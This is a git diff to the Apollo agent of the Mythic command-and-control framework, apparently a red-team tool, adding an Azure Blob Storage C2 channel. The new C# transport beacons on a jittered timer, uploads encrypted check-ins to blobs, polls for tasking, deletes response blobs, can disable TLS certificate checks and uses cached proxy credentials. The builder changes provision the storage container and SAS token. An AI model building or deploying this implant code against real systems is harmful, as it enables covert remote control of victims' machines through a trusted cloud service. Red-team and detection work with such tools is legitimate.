diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo.sln b/Payload_Type/apollo/apollo/agent_code/Apollo.sln
index 11183882..eb4ae138 100644
--- a/Payload_Type/apollo/apollo/agent_code/Apollo.sln
+++ b/Payload_Type/apollo/apollo/agent_code/Apollo.sln
@@ -48,8 +48,10 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "Kerberos
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}"
EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
-EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@@ -318,9 +320,21 @@ Global
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64
- {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
- {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
- EndGlobalSection
+ {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
+ {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86
+ {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86
+ EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
index f3d1a8a7..2f2854e3 100644
--- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
+++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
@@ -28,9 +28,9 @@
-
-
-
+
+
+
diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs
index 5f3c8ef0..c1a8762c 100644
--- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs
@@ -2,12 +2,13 @@
//#define LOCAL_BUILD
-#if LOCAL_BUILD
-//#define HTTP
-//#define WEBSOCKET
-//#define TCP
-//#define SMB
-#endif
+#if LOCAL_BUILD
+//#define HTTP
+//#define WEBSOCKET
+//#define TCP
+//#define SMB
+//#define AZURE_BLOB
+#endif
#if HTTP
using HttpTransport;
@@ -25,10 +26,13 @@
#if SMB
using NamedPipeTransport;
#endif
-#if TCP
-using TcpTransport;
-#endif
-namespace Apollo
+#if TCP
+using TcpTransport;
+#endif
+#if AZURE_BLOB
+using AzureBlobTransport;
+#endif
+namespace Apollo
{
public static class Config
{
@@ -128,26 +132,65 @@ public static class Config
}
}
},
-#elif TCP
- { "tcp", new C2ProfileData()
- {
- TC2Profile = typeof(TcpProfile),
- TCryptography = typeof(PSKCryptographyProvider),
- TSerializer = typeof(EncryptedJsonSerializer),
- Parameters = new Dictionary()
- {
-#if LOCAL_BUILD
- { "port", "40000" },
- { "encrypted_exchange_check", "true" },
-#else
- { "port", "tcp_port_here" },
- { "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" },
-#endif
- }
- }
- }
-#endif
- };
+#elif TCP
+ { "tcp", new C2ProfileData()
+ {
+ TC2Profile = typeof(TcpProfile),
+ TCryptography = typeof(PSKCryptographyProvider),
+ TSerializer = typeof(EncryptedJsonSerializer),
+ Parameters = new Dictionary()
+ {
+#if LOCAL_BUILD
+ { "port", "40000" },
+ { "encrypted_exchange_check", "true" },
+#else
+ { "port", "tcp_port_here" },
+ { "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" },
+#endif
+ }
+ }
+ }
+#endif
+#if AZURE_BLOB
+ { "azure_blob", new C2ProfileData()
+ {
+ TC2Profile = typeof(AzureBlobProfile),
+ TCryptography = typeof(PSKCryptographyProvider),
+ TSerializer = typeof(EncryptedJsonSerializer),
+ Parameters = new Dictionary()
+ {
+#if LOCAL_BUILD
+ { "blob_endpoint", "https://yourstorageaccount.blob.core.windows.net" },
+ { "container_name", "agent-test12345ab" },
+ { "sas_token", "your_test_sas_token_here" },
+ { "callback_interval", "5" },
+ { "callback_jitter", "10" },
+ { "encrypted_exchange_check", "T" },
+ { "killdate", "-1" },
+ { "enable_certificate_check", "true" },
+ { "proxy_host", "" },
+ { "proxy_port", "" },
+ { "proxy_user", "" },
+ { "proxy_pass", "" },
+#else
+ { "blob_endpoint", "azure_blob_blob_endpoint_here" },
+ { "container_name", "azure_blob_container_name_here" },
+ { "sas_token", "azure_blob_sas_token_here" },
+ { "callback_interval", "azure_blob_callback_interval_here" },
+ { "callback_jitter", "azure_blob_callback_jitter_here" },
+ { "encrypted_exchange_check", "azure_blob_encrypted_exchange_check_here" },
+ { "killdate", "azure_blob_killdate_here" },
+ { "enable_certificate_check", "azure_blob_enable_certificate_check_here" },
+ { "proxy_host", "azure_blob_proxy_host_here" },
+ { "proxy_port", "azure_blob_proxy_port_here" },
+ { "proxy_user", "azure_blob_proxy_user_here" },
+ { "proxy_pass", "azure_blob_proxy_pass_here" },
+#endif
+ }
+ }
+ },
+#endif
+ };
public static Dictionary IngressProfiles = new Dictionary();
@@ -158,18 +201,22 @@ public static class Config
public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM=";
#elif SMB
public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc=";
-#elif TCP
- public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg=";
-#endif
-#if HTTP
- public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204";
-#elif WEBSOCKET
- public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2";
-#elif SMB
- public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3";
-#elif TCP
- public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544";
-#endif
+#elif TCP
+ public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg=";
+#elif AZURE_BLOB
+ public static string StagingRSAPrivateKey = "R3BLdG9OZXdBenVyZUJsb2JQcm9maWxlS2V5MTIzNA==";
+#endif
+#if HTTP
+ public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204";
+#elif WEBSOCKET
+ public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2";
+#elif SMB
+ public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3";
+#elif TCP
+ public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544";
+#elif AZURE_BLOB
+ public static string PayloadUUID = "d1eefaf1-99c7-1901-ded0-3fac2312abdc";
+#endif
#else
// TODO: Make the AES key a config option specific to each profile
public static string StagingRSAPrivateKey = "AESPSK_here";
diff --git a/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs
new file mode 100644
index 00000000..85c2c522
--- /dev/null
+++ b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs
@@ -0,0 +1,410 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using ApolloInterop.Classes;
+using ApolloInterop.Interfaces;
+using ApolloInterop.Structs.MythicStructs;
+using ApolloInterop.Types.Delegates;
+using System.Net;
+using ApolloInterop.Enums.ApolloEnums;
+
+namespace AzureBlobTransport
+{
+ public class AzureBlobProfile : C2Profile, IC2Profile
+ {
+ // How many bytes to read per iteration of downloading a blob
+ const int HTTP_READ_BLOCK_LENGTH = 11000;
+
+ // TODO: This ideally needs to come from the C2 Profile so we can sync with the server timeout
+ const int RETRY_DELAY = 5000;
+ const int MAX_RETRY_ATTEMPTS = 5;
+
+ private int CallbackInterval;
+ private double CallbackJitter;
+ private string BlobEndpoint;
+ private string ContainerName;
+ private string SasToken;
+ private bool EncryptedExchangeCheck;
+ private string KillDate;
+ private bool _uuidNegotiated = false;
+ private string ProxyHost;
+ private int ProxyPort;
+ private string ProxyUser;
+ private string ProxyPass;
+ private string ProxyAddress;
+ private RSAKeyGenerator rsa = null;
+
+ // Microsoft Azure should always pass TLS cert check (unless something is in the middle)
+ private bool EnableTLSCertCheck = true;
+
+ // Maximum time to wait for a single response blob before giving up
+ private const int RESPONSE_TIMEOUT_MS = 300000; // 5 minutes
+
+ private string ParseURLAndPort(string host, int port)
+ {
+ string final_url = "";
+ int last_slash = -1;
+ if (port == 443 && host.StartsWith("https://"))
+ {
+ final_url = host;
+ }
+ else if (port == 80 && host.StartsWith("http://"))
+ {
+ final_url = host;
+ }
+ else
+ {
+ last_slash = host.Substring(port == 443? 8 : 7).IndexOf("/");
+ if (last_slash == -1)
+ {
+ final_url = string.Format("{0}:{1}", host, port);
+ }
+ else
+ {
+ last_slash += 8;
+ final_url = host.Substring(0, last_slash) + $":{port}" + host.Substring(last_slash);
+ }
+ }
+ return final_url;
+ }
+
+ public AzureBlobProfile(Dictionary data, ISerializer serializer, IAgent agent)
+ : base(data, serializer, agent)
+ {
+ CallbackInterval = int.Parse(data["callback_interval"]);
+ CallbackJitter = double.Parse(data["callback_jitter"]);
+ BlobEndpoint = data["blob_endpoint"];
+ ContainerName = data["container_name"];
+ SasToken = data["sas_token"];
+ EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T";
+ KillDate = data["killdate"];
+ if (data.ContainsKey("enable_certificate_check") && data["enable_certificate_check"] == "")
+ {
+ EnableTLSCertCheck = false;
+ }
+ else
+ {
+ if (data.ContainsKey("enable_certificate_check") &&
+ (data["enable_certificate_check"][0] == 'T' || data["enable_certificate_check"][0] == 't'))
+ {
+ EnableTLSCertCheck = true;
+ }
+ else
+ {
+ EnableTLSCertCheck = false;
+ }
+ }
+ ProxyHost = data["proxy_host"];
+ if (data["proxy_port"].Length > 0)
+ {
+ ProxyPort = int.Parse(data["proxy_port"]);
+ if (ProxyHost.Length > 0)
+ {
+ ProxyAddress = this.ParseURLAndPort(ProxyHost, ProxyPort);
+ }
+ }
+ ProxyUser = data["proxy_user"];
+ ProxyPass = data["proxy_pass"];
+
+ rsa = agent.GetApi().NewRSAKeyPair(4096);
+
+ // Disable certificate validation on web requests
+ if (EnableTLSCertCheck == false)
+ {
+ ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
+ ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
+ }
+
+ Agent.SetSleep(CallbackInterval, CallbackJitter);
+ }
+
+ ///
+ /// Construct the full blob URL with SAS token for a given blob path.
+ ///
+ private string GetBlobUrl(string blobPath)
+ {
+ return string.Format("{0}/{1}/{2}?{3}", BlobEndpoint, ContainerName, blobPath, SasToken);
+ }
+
+ ///
+ /// Creates a new instance of a HttpWebRequest with appropriate proxy settings
+ ///
+ ///
+ ///
+ private HttpWebRequest CreateConfiguredWebRequest(string url)
+ {
+ HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
+
+ if (!string.IsNullOrEmpty(ProxyHost) &&
+ !string.IsNullOrEmpty(ProxyUser) &&
+ !string.IsNullOrEmpty(ProxyPass))
+ {
+ request.Proxy = (IWebProxy)new WebProxy()
+ {
+ Address = new Uri(ProxyAddress),
+ Credentials = new NetworkCredential(ProxyUser, ProxyPass),
+ UseDefaultCredentials = false,
+ BypassProxyOnLocal = false
+ };
+ }
+ else
+ {
+ // Use Default Proxy and Cached Credentials for Internet Access
+ request.Proxy = WebRequest.GetSystemWebProxy();
+ request.Proxy.Credentials = CredentialCache.DefaultCredentials;
+ }
+
+ request.Timeout = RESPONSE_TIMEOUT_MS;
+
+ return request;
+ }
+
+ ///
+ /// Upload data to a blob using HTTP PUT (Azure Blob REST API).
+ ///
+ private bool PutBlob(string blobPath, byte[] data)
+ {
+ string url = GetBlobUrl(blobPath);
+ try
+ {
+ HttpWebRequest request = CreateConfiguredWebRequest(url);
+ request.Method = "PUT";
+ request.ContentType = "application/octet-stream";
+ request.ContentLength = data.Length;
+ request.Headers.Add("x-ms-blob-type", "BlockBlob");
+
+ using (var stream = request.GetRequestStream())
+ {
+ stream.Write(data, 0, data.Length);
+ }
+
+ using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
+ {
+ return response.StatusCode == HttpStatusCode.Created ||
+ response.StatusCode == HttpStatusCode.OK;
+ }
+ }
+ catch (Exception ex)
+ {
+ throw new Exception(String.Format("Error occured uploading blob: {0}", ex.Message));
+ }
+ }
+
+ ///
+ /// Download blob data using HTTP GET. Throws exception if the blob does not exist (404).
+ ///
+ private byte[] GetBlob(string blobPath)
+ {
+ string url = GetBlobUrl(blobPath);
+ try
+ {
+ HttpWebRequest request = CreateConfiguredWebRequest(url);
+ request.Method = "GET";
+
+ using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
+ {
+ using (var stream = response.GetResponseStream())
+ {
+ // Read all bytes from the response stream
+ using (var memStream = new System.IO.MemoryStream())
+ {
+ byte[] buffer = new byte[HTTP_READ_BLOCK_LENGTH];
+ int bytesRead;
+ while ((bytesRead = stream.Read(buffer, 0, HTTP_READ_BLOCK_LENGTH)) > 0)
+ {
+ memStream.Write(buffer, 0, bytesRead);
+ }
+ return memStream.ToArray();
+ }
+ }
+ }
+ }
+
+ catch (WebException ex)
+ {
+ if (ex.Response is HttpWebResponse httpResp && httpResp.StatusCode == HttpStatusCode.NotFound)
+ {
+ throw new Exception("Blob was not found"); // Blob does not exist yet
+ }
+
+ throw new Exception(String.Format("Exception occured downloading blob: {0}", ex.Message));
+ }
+ catch (Exception)
+ {
+ throw;
+ }
+ }
+
+ ///
+ /// Delete a blob using HTTP DELETE.
+ ///
+ private bool DeleteBlob(string blobPath)
+ {
+ string url = GetBlobUrl(blobPath);
+ try
+ {
+ HttpWebRequest request = CreateConfiguredWebRequest(url);
+
+ request.Method = "DELETE";
+
+ using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
+ {
+ return response.StatusCode == HttpStatusCode.Accepted ||
+ response.StatusCode == HttpStatusCode.OK;
+ }
+ }
+ catch (Exception ex)
+ {
+ throw new Exception(String.Format("Exception occured deleting blob: {0}", ex.Message));
+ }
+ }
+
+ ///
+ /// Core send-and-receive operation via Azure Blob Storage.
+ ///
+ public bool SendRecv(T message, OnResponse onResponse)
+ {
+ if (message == null) { throw new ArgumentNullException("message"); }
+
+ // Generate a unique message ID for request/response correlation
+ string messageId = Guid.NewGuid().ToString();
+
+ // Serialize the message (EncryptedJsonSerializer produces base64(uuid + AES(json)))
+ string serialized = Serializer.Serialize(message);
+ byte[] payload = Encoding.UTF8.GetBytes(serialized);
+
+ try
+ {
+ // PUT to ats/{messageId}.blob
+ if (!PutBlob(string.Format("ats/{0}.blob", messageId), payload))
+ {
+ return false;
+ }
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+
+ // Poll for the response at sta/{messageId}.blob
+ string staBlobPath = string.Format("sta/{0}.blob", messageId);
+ byte[] responseData = null;
+
+ // Repeat (there is a delay between uploading and then the download being available
+ for (int i = 0; i < MAX_RETRY_ATTEMPTS; i++)
+ {
+ // Not ideal, but the Azure Blob profile doesn't currently expose the poll rate
+ Thread.Sleep(RETRY_DELAY);
+
+ try
+ {
+ responseData = GetBlob(staBlobPath);
+ }
+ catch (Exception)
+ {
+ continue;
+ }
+
+ break;
+
+ }
+
+ if (responseData == null || responseData.Length == 0)
+ {
+ return false;
+ }
+
+ // Deserialize the response
+ // The C2 server returns the raw Mythic response (base64(uuid + AES(json)))
+ string responseString = Encoding.UTF8.GetString(responseData);
+ try
+ {
+ TResult result = Serializer.Deserialize(responseString);
+ onResponse(result);
+
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+
+ // Clean up the response blob
+ // This is best effort, if it fails, we still return success because we have
+ // a valid deserialized response already
+ try
+ {
+ DeleteBlob(staBlobPath);
+ }
+ catch (Exception)
+ {
+ // Do nothing, it's best effort
+ }
+
+ return true;
+ }
+
+ public void Start()
+ {
+ while (Agent.IsAlive())
+ {
+ GetTasking(resp => Agent.GetTaskManager().ProcessMessageResponse(resp));
+ Agent.Sleep();
+ }
+ }
+
+ private bool GetTasking(OnResponse onResp)
+ {
+ return Agent.GetTaskManager().CreateTaskingMessage(msg => SendRecv(msg, onResp));
+ }
+
+ public bool IsOneWay() => false;
+
+ public bool Send(T message) => throw new NotImplementedException("AzureBlobProfile does not support Send only.");
+ public bool Recv(MessageType mt, OnResponse onResp) => throw new NotImplementedException("AzureBlobProfile does not support Recv only.");
+
+ public bool IsConnected()
+ {
+ return Connected;
+ }
+
+ public bool Connect(CheckinMessage checkinMsg, OnResponse onResp)
+ {
+ if (EncryptedExchangeCheck && !_uuidNegotiated)
+ {
+ EKEHandshakeMessage handshake1 = new EKEHandshakeMessage()
+ {
+ Action = "staging_rsa",
+ PublicKey = this.rsa.ExportPublicKey(),
+ SessionID = this.rsa.SessionId
+ };
+
+ if (!SendRecv(handshake1, delegate (EKEHandshakeResponse respHandshake)
+ {
+ byte[] tmpKey = this.rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true);
+ ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey));
+ ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID);
+ Agent.SetUUID(respHandshake.UUID);
+ return true;
+ }))
+ {
+ return false;
+ }
+ }
+
+ return SendRecv(checkinMsg, delegate (MessageResponse mResp)
+ {
+ Connected = true;
+ if (!_uuidNegotiated)
+ {
+ ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID);
+ Agent.SetUUID(mResp.ID);
+ _uuidNegotiated = true;
+ }
+ return onResp(mResp);
+ });
+ }
+ }
+}
+
diff --git a/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj
new file mode 100644
index 00000000..2ca5e04c
--- /dev/null
+++ b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj
@@ -0,0 +1,20 @@
+
+
+ net451
+ Library
+ 12
+ enable
+ false
+ AnyCPU;x64;x86
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs
new file mode 100644
index 00000000..8eb2ab5d
--- /dev/null
+++ b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs
@@ -0,0 +1,35 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("AzureBlobProfile")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("AzureBlobProfile")]
+[assembly: AssemblyCopyright("Copyright 2025")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("A1B2C3D4-E5F6-7890-ABCD-EF1234567890")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
index 5300785d..76054a57 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
@@ -90,9 +90,9 @@ class Apollo(PayloadType):
default_value=False,
description="Create a DEBUG version.",
ui_position=2,
- )
+ ),
]
- c2_profiles = ["http", "smb", "tcp", "websocket"]
+ c2_profiles = ["http", "smb", "tcp", "websocket", "azure_blob"]
agent_path = pathlib.Path(".") / "apollo" / "mythic"
agent_code_path = pathlib.Path(".") / "apollo" / "agent_code"
agent_icon_path = agent_path / "agent_functions" / "apollo.svg"
@@ -170,6 +170,60 @@ async def build(self) -> BuildResponse:
extra_variables = {**extra_variables, **val}
else:
special_files_map["Config.cs"][prefixed_key] = json.dumps(val)
+
+ # Azure Blob: provision container and get SAS token via RPC
+ if profile["name"] == "azure_blob":
+ params = c2.get_parameters_dict()
+
+
+ # Proxy params hardcoded at the minute as the profile doesn't support proxy
+ # Once the profile is updated, this should "magically" work.
+ proxy_host = params.get("proxy_host", "")
+ proxy_port = str(params.get("proxy_port", 0))
+ proxy_user = params.get("proxy_user", "")
+ proxy_pass = params.get("proxy_pass", "")
+ enable_certificate_check = params.get("enable_certificate_check", "True")
+
+ storage_account = params.get("storage_account", "")
+ account_key_param = params.get("account_key", "")
+ if isinstance(account_key_param, dict):
+ account_key = account_key_param.get("enc_key", "") or account_key_param.get("value", "")
+ else:
+ account_key = str(account_key_param) if account_key_param else ""
+
+ if not storage_account or not account_key:
+ resp.build_stderr = "Missing storage_account or account_key"
+ resp.set_status(BuildStatus.Error)
+ return resp
+
+ killdate = params.get("killdate", "")
+ config_data = await SendMythicRPCOtherServiceRPC(MythicRPCOtherServiceRPCMessage(
+ ServiceName="azure_blob",
+ ServiceRPCFunction="generate_config",
+ ServiceRPCFunctionArguments={
+ "killdate": killdate,
+ "storage_account": storage_account,
+ "account_key": account_key,
+ "payload_uuid": self.uuid,
+ }
+ ))
+ if not config_data.Success:
+ build_message = f"Azure Blob container provisioning failed :( : {config_data.Error}"
+ resp.set_status(BuildStatus.Error)
+ resp.set_build_message(build_message)
+ return resp
+ # Stamp RPC results into Config.cs (these are not normal C2 profile parameters)
+ special_files_map["Config.cs"]["azure_blob_blob_endpoint"] = config_data.Result["blob_endpoint"]
+ special_files_map["Config.cs"]["azure_blob_container_name"] = config_data.Result["container_name"]
+ special_files_map["Config.cs"]["azure_blob_sas_token"] = config_data.Result["sas_token"]
+ special_files_map["Config.cs"]["azure_blob_proxy_host"] = proxy_host
+ special_files_map["Config.cs"]["azure_blob_proxy_port"] = proxy_port
+ special_files_map["Config.cs"]["azure_blob_proxy_user"] = proxy_user
+ special_files_map["Config.cs"]["azure_blob_proxy_pass"] = proxy_pass
+ special_files_map["Config.cs"]["enable_certificate_check"] = enable_certificate_check
+ stdout_err += f"\n[azure_blob] Container: {config_data.Result['container_name']}"
+ stdout_err += f"\n[azure_blob] Endpoint: {config_data.Result['blob_endpoint']}"
+
try:
# make a temp directory for it to live
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
@@ -472,3 +526,4 @@ def adjust_file_name(filename, shellcode_format, output_type, adjust_filename):
return original_filename + ".txt"
else:
return filename
+